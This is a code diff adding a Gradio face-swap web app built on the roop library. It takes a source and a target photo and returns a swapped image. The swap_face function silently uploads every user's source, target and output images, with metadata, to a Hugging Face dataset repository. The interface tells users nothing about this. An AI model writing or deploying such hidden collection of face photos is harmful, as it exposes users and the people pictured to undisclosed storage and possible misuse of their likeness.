Upload app (2).py

app (2).py

@@ -0,0 +1,276 @@
+# -*- coding:UTF-8 -*-
+#!/usr/bin/env python
+import numpy as np
+import gradio as gr
+import roop.globals
+from roop.core import (
+    start,
+    decode_execution_providers,
+    suggest_max_memory,
+    suggest_execution_threads,
+)
+from roop.processors.frame.core import get_frame_processors_modules
+from roop.utilities import normalize_output_path
+import os
+from PIL import Image
+from datetime import datetime
+from huggingface_hub import HfApi, login
+from datasets import load_dataset, Dataset
+import json
+import shutil
+from dotenv import load_dotenv
+
+# Load environment variables
+load_dotenv()
+
+class FaceIntegrDataset:
+    def __init__(self, repo_id="Arrcttacsrks/face_integrData"):
+        # Get token from environment variable
+        self.token = os.getenv('hf_token')
+        if not self.token:
+            raise ValueError("HF_TOKEN environment variable is not set")
+            
+        self.repo_id = repo_id
+        self.api = HfApi()
+        
+        # Login to Hugging Face
+        login(self.token)
+        
+        # Create local temp directory for organizing files
+        self.temp_dir = "temp_dataset"
+        os.makedirs(self.temp_dir, exist_ok=True)
+
+    def create_date_folder(self):
+        """Create folder structure based on current date"""
+        current_date = datetime.now().strftime("%Y-%m-%d")
+        folder_path = os.path.join(self.temp_dir, current_date)
+        os.makedirs(folder_path, exist_ok=True)
+        return folder_path, current_date
+
+    def save_metadata(self, source_path, target_path, output_path, timestamp):
+        """Save metadata for the face swap operation"""
+        metadata = {
+            "timestamp": timestamp,
+            "source_image": source_path,
+            "target_image": target_path,
+            "output_image": output_path,
+            "date_created": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
+        }
+        return metadata
+
+    def upload_to_hf(self, local_folder, date_folder):
+        """Upload files to Hugging Face dataset"""
+        try:
+            # Upload the files
+            self.api.upload_folder(
+                folder_path=local_folder,
+                repo_id=self.repo_id,
+                repo_type="dataset",
+                path_in_repo=date_folder
+            )
+            return True
+        except Exception as e:
+            print(f"Error uploading to Hugging Face: {str(e)}")
+            return False
+
+def swap_face(source_file, target_file, doFaceEnhancer):
+    folder_path = None
+    try:
+        # Initialize dataset handler
+        dataset_handler = FaceIntegrDataset()
+        
+        # Create date-based folder
+        folder_path, date_folder = dataset_handler.create_date_folder()
+        
+        # Generate timestamp for unique identification
+        timestamp = datetime.now().strftime("%S-%M-%H-%d-%m-%Y")
+        
+        # Save input images with timestamp in folder
+        source_path = os.path.join(folder_path, f"source_{timestamp}.jpg")
+        target_path = os.path.join(folder_path, f"target_{timestamp}.jpg")
+        output_path = os.path.join(folder_path, f"OutputImage{timestamp}.jpg")
+        
+        # Save the input images
+        if source_file is None or target_file is None:
+            raise ValueError("Source and target images are required")
+            
+        source_image = Image.fromarray(source_file)
+        source_image.save(source_path)
+        target_image = Image.fromarray(target_file)
+        target_image.save(target_path)
+        
+        print("source_path: ", source_path)
+        print("target_path: ", target_path)
+        
+        # Set global paths
+        roop.globals.source_path = source_path
+        roop.globals.target_path = target_path
+        roop.globals.output_path = normalize_output_path(
+            roop.globals.source_path, 
+            roop.globals.target_path, 
+            output_path
+        )
+        
+        # Configure face processing options
+        if doFaceEnhancer:
+            roop.globals.frame_processors = ["face_swapper", "face_enhancer"]
+        else:
+            roop.globals.frame_processors = ["face_swapper"]
+        
+        # Set global parameters
+        roop.globals.headless = True
+        roop.globals.keep_fps = True
+        roop.globals.keep_audio = True
+        roop.globals.keep_frames = False
+        roop.globals.many_faces = False
+        roop.globals.video_encoder = "libx264"
+        roop.globals.video_quality = 18
+        roop.globals.max_memory = suggest_max_memory()
+        roop.globals.execution_providers = decode_execution_providers(["cuda"])
+        roop.globals.execution_threads = suggest_execution_threads()
+        
+        print(
+            "start process",
+            roop.globals.source_path,
+            roop.globals.target_path,
+            roop.globals.output_path,
+        )
+        
+        # Check frame processors
+        for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
+            if not frame_processor.pre_check():
+                return None
+        
+        # Process the face swap
+        start()
+        
+        # Save metadata
+        metadata = dataset_handler.save_metadata(
+            f"source_{timestamp}.jpg",
+            f"target_{timestamp}.jpg",
+            f"OutputImage{timestamp}.jpg",
+            timestamp
+        )
+        
+        # Save metadata to JSON file in the same folder
+        metadata_path = os.path.join(folder_path, f"metadata_{timestamp}.json")
+        with open(metadata_path, 'w') as f:
+            json.dump(metadata, f, indent=4)
+        
+        # Upload to Hugging Face
+        upload_success = dataset_handler.upload_to_hf(folder_path, date_folder)
+        
+        if upload_success:
+            print(f"Successfully uploaded files to dataset {dataset_handler.repo_id}")
+        else:
+            print("Failed to upload files to Hugging Face dataset")
+        
+        # Read the output image before cleaning up
+        if os.path.exists(output_path):
+            output_image = Image.open(output_path)
+            output_array = np.array(output_image)
+            # Clean up temp folder after reading the image
+            shutil.rmtree(folder_path)
+            return output_array
+        else:
+            print("Output image not found")
+            if folder_path and os.path.exists(folder_path):
+                shutil.rmtree(folder_path)
+            return None
+        
+    except Exception as e:
+        print(f"Error in face swap process: {str(e)}")
+        if folder_path and os.path.exists(folder_path):
+            shutil.rmtree(folder_path)
+        raise gr.Error(f"Face swap failed: {str(e)}")
+
+def create_interface():
+    # Create custom style
+    custom_css = """
+    .container {
+        max-width: 1200px;
+        margin: auto;
+        padding: 20px;
+    }
+    .output-image {
+        min-height: 400px;
+        border: 1px solid #ccc;
+        border-radius: 8px;
+        padding: 10px;
+    }
+    """
+
+    # Gradio interface setup
+    title = "Face - Integrator"
+    description = r"""
+    Please upload source and target images to begin the face swap process.
+    """
+    article = r"""
+    <div style="text-align: center; max-width: 650px; margin: 40px auto;">
+        <p>
+            This tool performs face swapping with optional enhancement.
+        </p>
+    </div>
+    """
+
+    # Create Gradio interface with improved layout
+    with gr.Blocks(title=title, css=custom_css) as app:
+        gr.Markdown(f"<h1 style='text-align: center;'>{title}</h1>")
+        gr.Markdown(description)
+        
+        with gr.Row():
+            with gr.Column(scale=1):
+                source_image = gr.Image(
+                    label="Source Image",
+                    type="numpy",
+                    sources=["upload"]
+                )
+                
+            with gr.Column(scale=1):
+                target_image = gr.Image(
+                    label="Target Image",
+                    type="numpy",
+                    sources=["upload"]
+                )
+                
+            with gr.Column(scale=1):
+                output_image = gr.Image(
+                    label="Output Image",
+                    type="numpy",
+                    interactive=False,
+                    elem_classes="output-image"
+                )
+        
+        with gr.Row():
+            enhance_checkbox = gr.Checkbox(
+                label="Apply the algorithm?",
+                info="Image Quality Improvement",
+                value=False
+            )
+            
+        with gr.Row():
+            process_btn = gr.Button(
+                "Process Face Swap",
+                variant="primary",
+                size="lg"
+            )
+        
+        # Set up the processing event
+        process_btn.click(
+            fn=swap_face,
+            inputs=[source_image, target_image, enhance_checkbox],
+            outputs=output_image,
+            api_name="swap_face"
+        )
+        
+        gr.Markdown(article)
+    
+    return app
+
+def main():
+    # Create and launch the interface
+    app = create_interface()
+    app.launch(share=False)
+
+if __name__ == "__main__":
+    main()